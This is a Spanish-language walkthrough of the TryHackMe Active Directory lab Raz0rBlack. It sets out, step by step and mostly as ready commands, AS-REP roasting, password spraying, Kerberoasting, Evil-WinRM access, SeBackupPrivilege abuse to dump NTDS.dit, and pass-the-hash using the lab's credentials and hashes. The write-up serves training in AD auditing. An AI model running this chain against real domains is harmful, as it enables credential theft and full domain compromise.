Llevo ya unos días dándole de forma intensa a todo tipo de entorno y escenario vinculado con Active Directory, la parte formativa la estoy llevando a cabo mediante los recursos del Academy de HTB: Introduction to Active Directory y Active Directory Enumeration & Attacks, ambos cursos de pago, pero asequible, algunas Rooms guiadas de THM:
Enumerating Active Directory y Breaching Active Directory, éstas gratuitas, aunque también lanzaron otras similares de pago; Además de apoyarme en muchos otros recursos de blogs, tutoriales, videoconferencias, papers… También le estoy dedicando tiempo a la practica y es por ello que hoy les traigo esta máquina de THM que me pareció bastante interesante. Una pequeña parte de la máquina está orientada al CTF (como no podría ser de otra manera, XD), pero aquí se da cabida principalmente a distintas técnicas y metodologías aplicadas a este tipo de escenarios de AD, por tanto os lo voy a dejar descrito de la mejor manera que me es posible.
OS | RELEASE | DIFFICULTY | AUTHOR |
---|---|---|---|
WINDOWS | 25/ENE/21 | MEDIUM | Xyan1d3 |
Resumen:
- Enumeración de puertos y servicios
- Reconocimiento de dominio
- Identificación de cuentas de usuarios
- Ejecución de ASREPRoasting y posterior cracking offline
- Análisis de recursos compartidos (SMB):
- Enumeración completa de usuarios mediante RPC
- Recuperación de cuenta con smbpasswd
- Cracking de fichero comprimido (zip)
- Ejecución de Kerberoasting con GetUserSPNs
- Intrusión al objetivo mediante WinRM
- Aprovechamiento de privilegio SeBackupPrivilege (Backup Operators)
- Obtención de Hashes de usuarios y posterior PTH
- Rescate masivo de Flags
Dado que se trata de una máquina más bien extensa, o al menos me lo pareció en su momento, no generaré una sección por cada de uno de estos puntos que he punteado en el resumen, simplemente alguna técnicas se verán contenida en una misma sección general. Vayamos con el desglose.
Nota: Queda evidenciado y reflejado en más de una captura que la dirección IP del objetivo ha ido variando, esto se ha dado principalmente por que la máquina ha sido resuelta en distintos periodos de tiempo, en esta ocasión no me ha sido posible hacerla del tirón por diversas razones personales, por tanto se debe tomar en cuenta este hecho para no verse conducido a confusión.
Enumeración:
Arrancamos nuestra evaluación mediante el escaneo estándar de todos los puertos TCP:
nmap -sS -sV -v -p- -Pn 10.10.230.45
Si bien el resultado podría resultar abrumador, por ahora nos centraremos en los puertos conocidos típicos. Y en este caso mediante CrackMapExec usando SMB identificaremos el nombre del dominio:
crackmapexec smb 10.10.164.14
Bien, esta es la información mínima que necesitamos para enumerar potenciales usuarios del objetivo. Es hora de poner en marcha la herramienta Kerbrute de Ronnie Flathers, recientemente me di cuenta que hay 2 herramientas con el mismo nombre, la otra es de la gente de Tarlogic y hace algo parecido, sin embargo para lo que lo vamos a usar ahora mismo, nos quedamos con la primera.
kerbrute userenum -d raz0rblack.thm --dc 10.10.164.14 jsmith.txt
Usando una lista muy común (yo la conocí en la formación de HTB Academy), llamada jsmith.txt, logré conseguir estos 3 usuarios.
Ojo que aquí observamos un hash que podría ser interesante, esa parte del prefijo krb5asrep tendría que conducirnos al siguiente punto.
ASREPRoasting:
Para poder describir este apartado y explicar de lo que se trata esta técnica conocida como ASREPRoast o AS-REP Roasting, «tomaré prestado» la adaptación traducida de HTB Academy (ya que me gusto mucho) y diré que es posible obtener el TGT (Ticket Granting Ticket) de cualquier cuenta que tenga marcada la configuración «Do not require Kerberos pre-authentication«, ya que la respuesta del servicio de autenticación (AS-REP) se cifra con la contraseña de la cuenta y cualquier usuario de dominio puede solicitarla. Ahora bien, en la práctica un atacante puede solicitar datos de autenticación para la cuenta afectada y recuperar un TGT cifrado del controlador del dominio, posteriormente aplicarle fuerza bruta (offline) y de esta manera lograr obtener la contraseña de dicha cuenta.
impacket-GetNPUsers raz0rblack.thm/ -usersfile Users.txt -format hashcat -dc-ip 10.10.164.14
Al emplear la bandera -format dejaremos el hash listo para que Hashcat haga «su magia».
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
ASREPRoasting es similar a Kerberoasting, pero implica atacar el AS-REP en lugar del TGS-REP. No se requiere un SPN. Ya veremos un poco más adelante estos nuevos conceptos introducidos y mencionados.
Listo, ahora contamos con un primer juego válido de credenciales.
crackmapexec smb 10.10.164.14 -u twilliams -p roastpotatoes
Enumeración de usuarios y recuperación de cuenta:
Le daremos un vistazo previo a los recursos compartidos y disponibles para este usuario, en este caso no observamos resultados demasiado relevantes:
crackmapexec smb 10.10.83.255 -u twilliams -p roastpotatoes --shares
Sería interesante llegar a esa carpeta llamada trash, podemos pensar.
Luego, nos dirigimos hasta rpcclient para enumerar todos los usuarios del dominio:
rpcclient -U twilliams 10.10.211.118 rpcclient $> enumdomusers
Y una vez más tiramos de Kerbrute, en este caso para realizar un ataque de rociado de contraseña (aunque mejor suena en ingles: Password Spraying), creo que esto también lo realiza la variante de Tarlogic, tendréis que probarlo.
Como contraseña emplearemos la obtenida para el usuario twilliams.
kerbrute passwordspray -d raz0rblack.thm --dc 10.10.83.255 Users.txt roastpotatoes
Para nuestra sorpresa observamos que el usuario sbradley, también emplea dicha contraseña.
Ahora bien, es revelador ver el mensaje: «user’s password has expired«, lo que es indicativo que esa cuenta de usuario tal vez no se emplee con regularidad o es posible que no se haya empleado después del último restablecimiento de contraseña. Por tanto aprovecharemos dicha situación para «poseerla», para ello nos valdremos de la utilidad smbpasswd.
smbpasswd -r 10.10.83.255 -U sbradley
Después del cambio de contraseña que hemos producido sobre el usuario sbradley, llega el momento de validar el acceso:
crackmapexec smb 10.10.83.255 -u sbradley -p 'Passw0rd!'
Análisis de SMB y cracking de fichero zip:
Volvemos nuevamente a validar los recursos compartidos, esta vez para este juego de credenciales:
smbmap -H 10.10.83.255 -u sbradley -p 'Passw0rd!'
Ahora si identificamos que la carpeta trash es accesible, por tanto revisemos su contenido:
smbclient \\10.10.83.255\trash\ -U sbradley
El fichero de texto (sbradley.txt) contiene la primera flag de usuario.
Respecto al fichero comprimido (zip), emplearemos fuerza bruta para descubrir su contraseña, antes lo modelaremos con una utilidad de John The Ripper:
zip2john experiment_gone_wrong.zip > hash_zip.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash_zip.txt
El contenido de este fichero zip nos adelantará bastante las cosas, sin embargo en su momento opté por darle una vuelta a las primeras credenciales localizadas y lanzar otro tipo de técnicas para Active Directory. Vayamos a revisarlas.
Kerberoasting:
Básicamente esta es una técnica que nos permite ciertamente conseguir escalada de privilegio y/o desplazamiento lateral en entornos de Active Directory. Aquí tenemos como objetivo hacernos con cuentas SPN (Service Principal Name), estos son identificadores únicos que emplea Kerberos para asignar una instancia de servicio a una cuenta de servicio en cuyo contexto se ejecuta un determinado servicio. Las cuentas de dominio comúnmente se usan para ejecutar servicios para superar la limitaciones de autenticación de red de las cuentas integradas como NT AUTHORITY\LOCAL SERVICE. Debemos tener en cuenta también que cualquier usuario del dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio del dominio. Es muy probable que estas cuentas de servicio posean privilegios elevados en los sistemas de una red.
Si bien la recuperación de un ticket de Kerberos para una cuenta con un SPN no nos permite ejecutar comandos en el contexto de esa cuenta, el ticket (TGS-REP) está cifrado con el hash NTLM de la cuenta de servicio y por tanto podríamos nuevamente aplicarle cracking.
Vamos a empezar por recuperar un ticket TGS a través de esta técnica llamada Kerberoasting mediante la herramienta GetUserSPNs de la colección de Impacket:
impacket-GetUserSPNs -dc-ip 10.10.211.118 raz0rblack.thm/twilliams:roastpotatoes -request
Pasaremos una vez más este hash por el poder de Hashcat:
hashcat -m 13100 hash_xyan1d3.txt /usr/share/wordlists/rockyou.txt
Y dado que la contraseña no es tan robusta, conseguiremos obtenerla. Ahora debemos validarla una vez más con CME:
crackmapexec smb 10.10.211.118 -u xyan1d3 -p cyanide9amine5628
Adicionalmente también comprobaremos estas credenciales vía el recurso de WinRM y sorprendentemente los resultados son los deseados:
crackmapexec winrm 10.10.211.118 -u xyan1d3 -p cyanide9amine5628
Intrusión al objetivo:
Por lo tanto y llegados a este punto, es hora de emplear la majestuosa herramienta de OscarAkaElvis, estoy hablando de Evil-WinRM.
evil-winrm -i 10.10.69.162 -u xyan1d3 -p cyanide9amine5628
Hacemos un poco de reconocimiento sobre el objetivo y el usuario con el que accedimos:
Tomando especial atención a la información de los privilegios de dicho usuario.
Escalada de privilegios:
Después de unos minutos buscando información de como conseguir aprovechar este escenario, encontré el siguiente artículo titulado: Windows PrivEsc with SeBackupPrivilege, el mismo explica paso a paso el como conseguir obtener todos los hashes NTLM de un controlador de dominio (DC) mediante el abuso de SeBackupPrivilege. Se ve interesante, por tanto pondremos en marcha la técnica, que yo particularmente no conocía hasta este momento.
Antes de nada, tomemos nota de la currada descripción de este post:
Este privilegio (SeBackupPrivilege) proporciona a los usuarios permisos de lectura completos y la capacidad de crear copias de seguridad del sistema. El acceso de lectura completo permite leer cualquier archivo del objetivo, incluidos los archivos sensibles del sistema como SAM, SYSTEM o NTDS.dit. Un potencial atacante puede aprovechar este privilegio para extraer los hashes de estos archivos sensibles, descifrarlos o pasarlos (PTH) para elevar su shell.
Genial, pues justo lo que queremos!
Lo primero será generar el siguiente script que mantendremos como fichero de texto, lo enviaremos a nuestro objetivo y lo pondremos en marcha con la utilidad diskshadow:
diskshadow /s script.txt
Después de un buen rato, conseguiremos la siguiente unidad adicional (E:):
Ahora mediante otra utilidad robocopy, haremos una copia del fichero NTDS.dit:
robocopy /b E:\Windows\ntds . ntds.dit
Seguidamente es hora de generarnos un respaldo del registro SYSTEM, esto nos valdrá para conseguir descifrar el fichero anterior (NTDS.dit).
reg save hklm\system .\system.copy
Traeremos estos 2 ficheros a nuestro equipo de ataque para extraer los hashes de todos los usuarios registrados en el DC.
impacket-secretsdump -system system.copy -ntds ntds.dit local
Probaremos a crackearlos momentáneamente con Hashcat, pero en esta ocasión no tendremos éxito:
hashcat -m 1000 Hashes.txt /usr/share/wordlists/rockyou.txt
Por tanto y llegados a este punto, es hora de emplear PTH (Pass The Hash), que nos permitirá autenticarnos en un sistema sin necesidad de indicar la contraseña, sino el Hash NT.
Inicialmente probamos con el usuario lvetrova, tanto por SMB, como por WinRM, esto tomando en cuenta los antecedentes.
crackmapexec smb 10.10.19.53 -u lvetrova -H 'f220d3988deb3f516c73f40ee16c431d' crackmapexec winrm 10.10.19.53 -u lvetrova -H 'f220d3988deb3f516c73f40ee16c431d'
Al validarlo, nuevamente volveremos a tirar de Evil-WinRM:
evil-winrm -i 10.10.19.53 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d
Para conseguir la flag de este usuario, observaremos el fichero lvetrova.xml en el directorio del usuario y cuyo contenido se muestra tal que así:
Siendo que se trata de un hash en un fichero XML, aquí nos valdremos de la utilidad Import-Clixml y mediante PowerShell (PSCredentials) conseguiremos volcar la contraseña del usuario (lvetrova):
$Cred = Import-Clixml -Path .\lvetrova.xml $Cred.GetNetworkCredential().Password
Replicaremos el proceso anterior para el usuario xyan1d3:
evil-winrm -i 10.10.19.53 -u xyan1d3 -p cyanide9amine5628 $Cred = Import-Clixml -Path .\xyan1d3.xml $Cred.GetNetworkCredential().Password
Mientras que para el usuario Administrator, el conseguir la flag nos llevará a un paso adicional (básicamente por que el hash no tiene la misma composición):
evil-winrm -i 10.10.19.53 -u Administrator -H 9689931bed40ca5a2ce1218210177f0c
Siendo este hash un valor hexadecimal, lo pasaremos por la utilidad xxd a un formato legible:
echo "HASH_HEX" | xxd -r -p
Por el lado de la flag del usuario twilliams, en este caso tomaremos un fichero pseudo ejecutable, que lleva un nombre larguísimo y lo leeremos como si se tratase de un fichero de texto:
Por último y tomando en cuenta la pista de la room para esta flag, buscaremos todo tipo de ficheros y directorios que lleven por nombre «secret». De esta manera localizaremos un fichero interesante:
ls C:\ *secret* -Recurse
Lo descargamos a nuestro equipo de ataque y lo abrimos. Al visualizar la imagen, tendremos clara la última flag:
Pues esta ha sido la máquina de hoy, como les adelante en el inicio, ha sido ciertamente larga la resolución, pero bastante entretenida y que nos ha conducido por distintas técnicas que debemos de dominar para las auditorías de AD. Nos vemos en el siguiente.
Referencias:
- https://tryhackme.com/room/raz0rblack
- https://github.com/ropnop/kerbrute
- https://github.com/insidetrust/statistically-likely-usernames
- https://www.hackplayers.com/2020/11/asreproast-o-as-rep-roasting.html
- https://wadcoms.github.io/wadcoms/Impacket-GetNPUsers/
- https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/
- https://wadcoms.github.io/wadcoms/Impacket-GetUserSPNs/
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast
- https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-clixml
- https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx